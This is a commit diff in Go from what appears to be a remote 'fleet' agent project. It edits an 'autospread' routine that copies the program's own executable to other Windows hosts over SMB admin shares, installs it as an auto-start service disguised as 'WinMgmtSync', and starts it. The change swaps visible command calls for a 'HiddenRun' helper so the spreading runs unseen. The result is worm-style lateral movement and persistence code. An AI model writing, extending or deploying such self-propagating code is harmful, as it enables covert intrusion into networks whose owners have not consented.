Add fleet groups, agent screenshots, deploy guards, and Crucible polish.
This commit is contained in:
@@ -7,7 +7,6 @@ import (
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -152,12 +151,10 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
|
||||
remoteExe := filepath.Join(`C:\Windows\System32`, destName)
|
||||
|
||||
// 2. Attempt to copy payload via SMB using the current security token
|
||||
copyCmd := exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, adminShare)
|
||||
if err := copyCmd.Run(); err != nil {
|
||||
if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, adminShare); err != nil {
|
||||
// Fallback to C$ hidden temp folder if System32 is restricted
|
||||
cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName)
|
||||
copyCmd = exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, cShare)
|
||||
if err := copyCmd.Run(); err != nil {
|
||||
if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, cShare); err != nil {
|
||||
return // Access denied or host unreachable
|
||||
}
|
||||
remoteExe = filepath.Join(`C:\Windows\Temp`, destName)
|
||||
@@ -167,15 +164,12 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
|
||||
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
|
||||
// Delete existing just in case path changed
|
||||
_ = exec.Command("sc.exe", `\\`+target, "stop", svcName).Run()
|
||||
_ = exec.Command("sc.exe", `\\`+target, "delete", svcName).Run()
|
||||
_ = HiddenRun("sc.exe", `\\`+target, "stop", svcName)
|
||||
_ = HiddenRun("sc.exe", `\\`+target, "delete", svcName)
|
||||
|
||||
scCreate := exec.Command("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto")
|
||||
_ = scCreate.Run() // Ignore errors, it might already exist
|
||||
_ = HiddenRun("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto")
|
||||
|
||||
// 4. Start the remote service
|
||||
scStart := exec.Command("sc.exe", `\\`+target, "start", svcName)
|
||||
if err := scStart.Run(); err == nil {
|
||||
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
|
||||
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user